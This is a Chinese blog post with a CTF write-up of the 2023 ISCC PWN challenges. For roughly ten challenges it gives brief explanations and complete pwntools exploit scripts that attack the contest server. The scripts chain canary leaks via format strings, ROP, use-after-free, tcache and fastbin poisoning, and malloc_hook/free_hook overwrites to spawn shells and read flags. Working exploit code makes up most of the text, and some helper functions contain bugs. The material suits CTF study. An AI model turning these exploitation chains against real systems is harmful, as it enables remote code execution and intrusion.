2023年ISCC信息对抗大赛-PWN部分赛题WriteUp

Login

在程序内部没有bin/sh的情况下如何利用lib文件查找可以利用的后门程序,比如使用libsearch库进行寻找

poc如下:

from pwn import *
from ctypes import cdll
from LibcSearcher import LibcSearcher

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
p = remote('59.110.164.72', 10001)

# 加载 ELF 文件
elf = ELF('./pwn')

# 加载 libc 库
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc_c = cdll.LoadLibrary('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def s(a):
    p.send(a)

def sa(a, b):
    p.sendafter(a, b)

def sl(a):
    p.sendlineafter(a, b)

def sla(a, b):
    p.sendlineafter(a, b)

def r():
    return p.recv()

def pr():
    print(p.recv())

def rl(a):
    return p.recvuntil(a)

def inter():
    p.interactive()

def debug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

# leak canary
sa(b'wish\n', b'\x00'*0x16)
libc_c.srand(0)
sla(b'number!\n', str(libc_c.rand() % 9 + 1))
libc_c.srand(0)
sa(b'wish!\n', b'%11$p')
canary = int(r()[2:], 16)

# pwn
sla(b'number!\n', str(libc_c.rand() % 9 + 1))
payload = b'a'*0x28 + p64(canary) + b'a'*8 + p64(0x4011F5)
sa(b'wish!\n', payload)
print('canary ->', hex(canary))

inter()

  

这个脚本通过libsearch在libc文件中寻找到bin/sh ,然后栈溢出拿到shell

fig:

 

chef

其中利用了堆溢出的技术,堆块上自带 0x1000 大小堆块,利用 uaf + tcache bin attack 申请到该堆块,free 后 show 泄露 libc_base,再利用 uaf + tcache bin attack 修改 free_hook 为 system 来 get shell

如下是我的exp

from pwn import *
from ctypes import cdll
from LibcSearcher import LibcSearcher
import gmpy2

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
p = remote('59.110.164.72', 10031)

elf = ELF('./pwn')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc_c = cdll.LoadLibrary('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def s(a):
    p.send(a)

def sa(a, b):
    p.sendafter(a, b)

def sl(a):
    p.sendline(a)

def sla(a, b):
    p.sendlineafter(a, b)

def r():
    return p.recv()

def pr():
    print(p.recv())

def rl(a):
    return p.recvuntil(a)

def inter():
    p.interactive()

def debug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def add(size, data=b'a'):
    sla(b'choice:', b'2')
    sla(b'food:', str(size))
    sa(b'food:', data)

def show():
    sla(b'choice:', b'1')

def edit(idx, size, data):
    sla(b'choice:', b'3')
    sla(b'food:', str(idx))
    sla(b'food :', str(size))
    sa(b'food:', data)

def free(idx):
    sla(b'choice:', b'4')
    sla(b'food:', str(idx))

sla(b'choice:', b'4')

# 构造堆布局
add(0x80)  # index 0
add(0x60)  # index 1
add(0xf0)  # index 2
add(0x10)  # index 3
free(0)
edit(1, 0x70, b'\x00'*0x60 + p64(0x100) + p64(0x100))
free(2)
add(0x80)  # index 0

# 泄露 libc_base
show()
libc_base = get_addr() - 0x68 - libc.sym['__malloc_hook']

# 计算 one_gadget 的地址
one_gadget = libc_base + 0xf1247

# 重置堆布局
malloc_hook = libc_base + libc.sym['__malloc_hook']
system, binsh = get_sb()
realloc = libc_base + libc.sym['realloc']
free(1)
edit(2, 0x8, p64(malloc_hook - 0x23))
add(0x60)  # index 4

# 溢出修改 __malloc_hook
payload = b'\x00'*0xb + p64(one_gadget) + p64(realloc + 13)
add(0x60, payload)

# 触发 __realloc_hook
sla(b'choice:', b'2')
sla(b'food:', str(0x10))

print('libc_base ->', hex(libc_base))
#debug()
inter()

  

下面是拿到flag的截图

 

Double

 

同样这是一道pwn题,在该题中我们学习到了堆溢出相关的漏洞,在反编译后进行通读源代码,然后发现uaf堆漏洞 ,直接使用uaf 直接打 malloc_hook,后进行libsearch拿到gadget 进而得到shell

如下是我的脚本

from pwn import *
from ctypes import cdll
from LibcSearcher import LibcSearcher

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
p = remote('59.110.164.72', 10021)

elf = ELF('./pwn')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc_c = cdll.LoadLibrary('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def s(a):
    p.send(a)

def sa(a, b):
    p.sendafter(a, b)

def sl(a):
    p.sendline(a)

def sla(a, b):
    p.sendlineafter(a, b)

def r():
    return p.recv()

def pr():
    print(p.recv())

def rl(a):
    return p.recvuntil(a)

def inter():
    p.interactive()

def debug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def add(idx, size):
    sla(b'\xbc\x9a', b'1')
    sla(b'\xbc\x9a', str(idx))
    sla(b'\xbc\x9a', str(size))

def free(idx):
    sla(b'\xbc\x9a', b'2')
    sla(b'\xbc\x9a', str(idx))

def show(idx):
    sla(b'\xbc\x9a', b'3')
    sla(b'\xbc\x9a', str(idx))

def edit(idx, data):
    sla(b'\xbc\x9a', b'4')
    sla(b'\xbc\x9a', str(idx))
    sa(b'\xbc\x9a', data)

# 构造堆布局
add(0, 0x80)
add(1, 0x10)
free(0)
add(2, 0x80)

# 泄露 libc_base
show(2)
libc_base = get_addr() - 0x68 - libc.sym['__malloc_hook']

# 计算 one_gadget 的地址
one_gadget = libc_base + 0xf1247

# 重置堆布局
malloc_hook = libc_base + libc.sym['__malloc_hook']
system, binsh = get_sb()
realloc = libc_base + libc.sym['realloc']

add(3, 0x60)
add(4, 0x60)
add(5, 0x60)
free(3)
free(4)
free(3)
add(6, 0x60)
edit(6, p64(malloc_hook - 0x23))
add(7, 0x60)
add(8, 0x60)
add(9, 0x60)

# 溢出修改 __malloc_hook,触发一次 realloc,使 __realloc_hook 被修改为 one_gadget
payload = b'\x00'*0xb + p64(one_gadget) + p64(realloc + 6)
edit(9, payload)

# 触发 __realloc_hook
add(10, 0x10)

print('libc_base ->', hex(libc_base))
#debug()
inter()

  


如下是获取flag的截图

fig:

Eat_num

一道pwn题,名字叫eat_num,这个题相对比较简单,计算下偏移地址,使用libsearch从libc里寻找到需要用的put、read、write等函数的动态地址即可,然后再使用栈溢出到返回地址执行即可,不过这个题实现了二连跳,输出了libc里的base地址后再执行bin sh然后拿到的shell

Exp:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
io = remote('59.110.164.72', 10067)

# 加载本地 libc 和二进制文件
libc = ELF('./libc.so.6')
elf = ELF('./attachment-38')

# 打印需要用到的一些符号地址
print(hex(libc.sym['read']))
print(hex(libc.sym['puts']))
print(hex(libc.sym['write']))
print(hex(libc.sym['__libc_start_main']))

# 定义一些常量
ret = 0x080482b2
pop_4_ret = 0x080484a8
read_plt = 0x080482E0
read_got = elf.got['read']
pop_3_ret = 0x080484a9

# 构造第一个 payload,泄露 libc_base
payload = b'a'*0x48 + b'aaaa' + p32(read_plt) + p32(pop_3_ret) + p32(0) + p32(read_got) + p32(0x50) + p32(read_plt) + p32(pop_3_ret) + p32(1) + p32(read_got) + p32(0x50)
io.sendline(payload)
io.send(p8(0xd0))
libc_base = u32(io.recv(4)) - libc.sym['read'] - 0x810
print(hex(libc_base))

# 计算 system 和 /bin/sh 的地址,并构造第二个 payload,获取 shell
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
payload = b'a'*0x48 + b'aaaa' + p32(system) + p32(ret) + p32(bin_sh)
io.sendline(payload)
io.interactive()

  

下面是我获取flag的截图

fig:

 

SIMS

一道pwn题,这个程序是一个学生管理系统 Stedent Information Management System!

 

解题思路:我们可以简单分析下程序,可以看出在程序的开头有个 main函数,其中有

故而程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。

 

根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖,最后就可以覆盖为我们想要的函数了

Exp:

from pwn import *
from ctypes import cdll

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
io = remote('59.110.164.72', 10085)

# 加载本地 libc 和二进制文件
libc = ELF('./libc.so.6')
elf = ELF('./SIMS')
libc1 = cdll.LoadLibrary('./libc.so.6')

# 获取密码
v4 = libc1.rand()
password = 0x15CC15CC ^ v4
print(hex(password))
print(v4)

# 发送密码登录
io.sendlineafter(b'welcome~ please input the password:', str(password).encode('utf-8'))

# 定义一些常用操作函数
def cmd(index):
    io.sendlineafter(b'please choose one!', str(index))

def add(size):
    cmd(1)
    io.sendlineafter(b'Age of Stu:', str(size))

def delete(index):
    cmd(2)
    io.sendlineafter(b'Index:', str(index))

def show(index):
    cmd(4)
    io.sendlineafter(b'Index:', str(index))

def edit(index, content):
    cmd(3)
    io.sendafter(b'Index:', str(index))
    io.sendlineafter(b'Content of Stu:', content)

# 构造堆布局,泄露 libc_base
add(0x480)
add(0x20)
delete(0)
add(0x480)
show(0)
io.recvuntil(b'Content :')
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (libc.sym['__malloc_hook'] + 0x10)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
print(hex(libc_base))

# 构造利用链,获取 shell
add(0x18)
add(0x18)
add(0x18)
add(0x18)
add(0x18)

edit(2, b'a'*0x18 + p64(0x41))
delete(3)
add(0x30)
delete(4)
cmd(3)
io.sendlineafter(b'Index:', b'6')
io.sendlineafter(b'Content of Stu:', p64(0)*3 + p64(0x21) + p64(free_hook)*2)
add(0x10)
add(0x10)
edit(7, p64(system))
edit(3, b'/bin/sh\x00')
delete(3)

io.interactive()

  

Flag截图

fig:

困局

如下图其中开启了RELRO保护 所以不能地址是动态的不能直接拿到libc里的地址,需要用符号表进行计算,然后计算得到bin sh的地址以及open、read、pus的偏移地址再拿到canary的值,绕过nx保护,进而最后通过栈溢出执行read函数读取本地的flag文件

fig:

下面是我的exp

from pwn import *
from time import sleep

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
io = remote('59.110.164.72', 10066)

# 加载本地 libc 和二进制文件
libc = ELF('./libc.so.6')
elf = ELF('./Trapped')

# 泄露 canary、libc_base、stack
io.sendlineafter(b'This is a larger box', b'W%pQ%3$pA%9$p')
io.recvuntil(b'W')
stack = int(io.recv(14), 16)
io.recvuntil(b'Q')
libc_base = int(io.recv(14), 16) - (0x7f139964d360 - 0x7f1399556000)
print(hex(libc_base))
io.recvuntil(b'A')
canary = int(io.recv(18), 16)
print(hex(canary))

# 计算 /bin/sh 和 system 的地址
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
open1 = libc_base + libc.sym['open']
read1 = libc_base + libc.sym['read']
puts1 = libc_base + libc.sym['puts']

# 构造 payload 获取 flag
io.sendlineafter(b'This is a larger box', b'09')
pop_rdi_ret = 0x0000000000400a23
pop_rsi_ret = 0x00000000000202f8 + libc_base
pop_rdx_r12_ret = libc_base + 0x00000000001151a4
payload = (b'./flag'.ljust(16, b'\x00')) * 2 + b'aaaaaaaa' + p64(canary) * 2 + p64(elf.sym['puts'])
flag_addr = 0x7ffc24360830 - 0x7ffc24360870 + stack
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open1)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_r12_ret) + p64(0x50) + p64(0) + p64(pop_rsi_ret) + p64(0x0601050) + p64(read1)
payload += p64(pop_rdi_ret) + p64(0x0601050) + p64(puts1)

# 发送 payload 获取 flag
io.sendlineafter(b'We have a lot to talk about', payload)
sleep(2)
io.interactive()

  

拿到flag的截图

fig:

 

谜语人

 

毫无疑问这是一道pwn题,这个题比较简单,可以直接利用uaf 直接打 malloc_hook 为 ogg即可,而这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中 (实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。

下面是exp:

from pwn import *
from struct import pack
from ctypes import cdll
from LibcSearcher import LibcSearcher

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
p = process('./pwn')
# p = remote('59.110.164.72', 10028)
elf = ELF('./pwn')
libc = ELF('libc.so')

def add(idx):
    sla(b'Then?\n', b'2')
    sla(b'?!\n', str(idx))

def free(idx):
    sla(b'Then?\n', b'1')
    sla(b'?!\n', str(idx))

def show(idx):
    sla(b'Then?\n', b'0')
    sla(b'?!\n', str(idx))

def edit(idx, data):
    sla(b'Then?\n', b'3')
    sla(b'?!\n', str(idx))
    sleep(0.5)
    sl(data)

# 泄露 heap_addr
add(3)
add(4)
free(4)
edit(4, p64(0))
free(4)
show(4)
heap_addr = u32(p.recv(4))
ptr_heap = heap_addr - 0x1048 + 0x8

# 泄露 libc_base
edit(4, p32(ptr_heap))
add(5)
add(6)
free(6)
show(6)
p.recv(4)
libc_base = u32(p.recv(4)) - 56 - 0x8 - 0x10 - libc.sym['__malloc_hook']

# 获取 system 和 /bin/sh 的地址
libc1 = cdll.LoadLibrary('libc.so')
system = libc_base + libc1.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

# free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
add(7)
add(8)
free(8)
edit(8, p32(free_hook))
add(9)
add(10)
edit(10, p32(system))

# 执行 /bin/sh
edit(9, b'sh;\x00')
free(9)

# 获取 shell
p.interactive()

print(' free_hook -> ', hex(free_hook))
print(' libc_base -> ', hex(libc_base))
print(' ptr_heap -> ', hex(ptr_heap))
print(' heap_addr -> ', hex(heap_addr))

下面是得到flag的截图

 

三个愿望

这是一道pwn题,让我们学习到了关于栈溢出和绕过carry保护机制的方法

如下是我的exp ,然后再往下是对该题的叙述

from pwn import *

context.log_level = 'debug'

# 连接远程主机
p = remote('', port)

# 泄露 canary
payload1 = b'\0' * 0x16
p.send(payload1)
p.sendlineafter(b'number!', '2')
p.sendafter('wish!', '%11$p')
cannary = int(p.recvuntil('\n', drop=True), 16)

# 覆盖返回地址
payload2 = b'a' * 0x28 + p64(cannary) + b'a' * 8 + p64(0x4011d7)
# gdb.attach(p)
p.sendlineafter(b'number!', '2')
p.sendafter('wish!', payload2)

# 获取 shell
p.interactive()

该题我主要使用了格式化字符串漏洞进行输出栈内的carry值,从而绕过了carry保护,再溢出badget 得到shell,得到shell利用的是程序内内置的haveadoor函数,其地址在0x4011d7

 

获取flag截图

fig:

第一用笔-1

第一用笔:pwn题的第一种类型就是栈溢出,所以出题人说的笔就是栈溢出,笔法九用指的就是栈溢出的九种方法,这道题比较简单,红框中是我构造的payload,分别是溢出到返回地址+返回地址+rdi寄存器的值+bin sh的地址+system函数的地址,即可执行拿到shell

fig:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
p = remote('59.110.164.72', 10002)
elf = ELF('pwn3')
libc = ELF('libc-2.23.so')

payload = b'dunbi000'
payload += b'cuobi000'
payload += b'yufeng00'
payload += b'dunfeng0'
payload += b'cunfeng0'
payload += b'nvfeng00'
payload += b'yuefeng0'
payload += b'anfeng00'
payload += b'jiebi000'

# 覆盖返回地址
sa(b'!\n', payload)
sa(b'space\n', b'a'*0x28 + p64(0x400B0F))

# 泄露 libc_base
rdi = 0x400c53
ret = 0x4006c1
sleep(1)
s(b'a' * 0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x400B0F))
libc_base = get_addr() - libc.sym['puts']

# 获取 shell
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
sleep(1)
s(b'a' * 0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
inter()

print(' libc_base -> ', hex(libc_base))
pause()

第二识势-2

 

这是一道pwn题,古语有云:古之善书者,鲜有得笔法者!唐•张怀瓘《玉堂禁经》中写道:“夫书第一用笔,第二识势,第三裹束。三者兼备,然后为书,苟守一途,即为未得”。

识势,即了解笔锋的走势,是运笔成划的方法;只有胸中有丘壑,想清楚字形和结构,才能写成大气磅礴的字体。看清永字八法,方可成文

 

那么解这一道题的思路是:

因为程序中的 read 函数存在 null byte off-by-one ,事实上 my_read 读入的结束符 '\x00' 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 '\x00' ,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。

由于分配过程还有一些额外结构(结构体本身的分配和 getline),我们需要先释放出足够的 fastbin chunk 来避免结构体本身的分配对我们的过程造成影响。

在此之后,依次释放掉 5, 3, 1, 之后利用 del 输入时候的 getline,将 3 填满,造成 off-by-one,之后将 4 free 掉进行合并(伪造 prev_size),这样就有了一个交叉的堆结构了。

之后的过程就更加简单了,首先分配 1 的大小,使得 libc 地址被写到 2 里,就可以泄露出地址,然后将 5 分配出来,写入需要的内容,就可以 fastbin attack 了。

下面是exp:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 连接远程主机
p = remote('59.110.164.72', 10025)
elf = ELF('./pwn')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

# 泄露出堆地址
sa(b'ing\n', b'\xff\x00' + b'\xff' * (0xe + 8))
heap = int(rl(b'materials\n').strip(b'd'), 16)

# 利用 top_chunk 的大小将 unsortbin 放回 free_list 中
top_heap = heap - 0x8
bsf = 0x6012A0
s(str(-1))
sleep(1)
s(str(bsf - top_heap - 0x20))
sa(b'over\n', b'a' * 0x10)

# 覆盖返回地址
rdi = 0x400bd3
ret = 0x4006e6
pop_rsp_13_15 = 0x400bcd
payload = asm(shellcraft.sh()).ljust(0x88, b'a') + p64(bsf)
sa(b'destination\n', payload)

# 获取 shell
inter()

print(' top_heap -> ', hex(top_heap))
print(' heap -> ', hex(heap))

下面是获取flag的截图

 

Your_character

一道堆:

from pwn import *

# 连接远程主机
p = remote('59.110.164.72', 10003)
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./your_character')

menu = b"Your choice :"


def add(size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Damage of skill : ", str(size).encode())
    p.sendafter(b"introduction of skill:", b'A')


def edit_size(idx, size):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index :", str(idx).encode())
    p.sendlineafter(b"Damage of skill : ", str(size).encode())


def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index :", str(idx).encode())
    p.sendafter(b"introduction of skill : ", msg)


def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index :", str(idx).encode())


def free(idx):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"Index :", str(idx).encode())


p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')

p.sendlineafter(b"Your choice :", b'1')  # in

for i in [0x80, 0x18, 0x18, 0x18]:
    add(i)

edit(1, b'A' * 0x18 + p8(0x61))
free(2)

add(0x58)
edit(2, b'A' * 0x8)
show(2)
p.recvuntil(b'A' * 0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")

free(0)
edit(2, flat(0, 0, 0, 0x21, 0x800, heap_addr + 0x280))  # 2 ptr-> unsort

show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

edit(2, b'A' * 0xf0 + flat(0x800, heap_addr + 0x10))
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
edit(2, p64(libc.address + one_gadget[0]) * 2)

p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')

p.sendline(b'cat /flag*')

# 获取 shell
p.interactive()
posted @ 2023-05-30 17:28  N0t3  阅读(658)  评论(0编辑  收藏  举报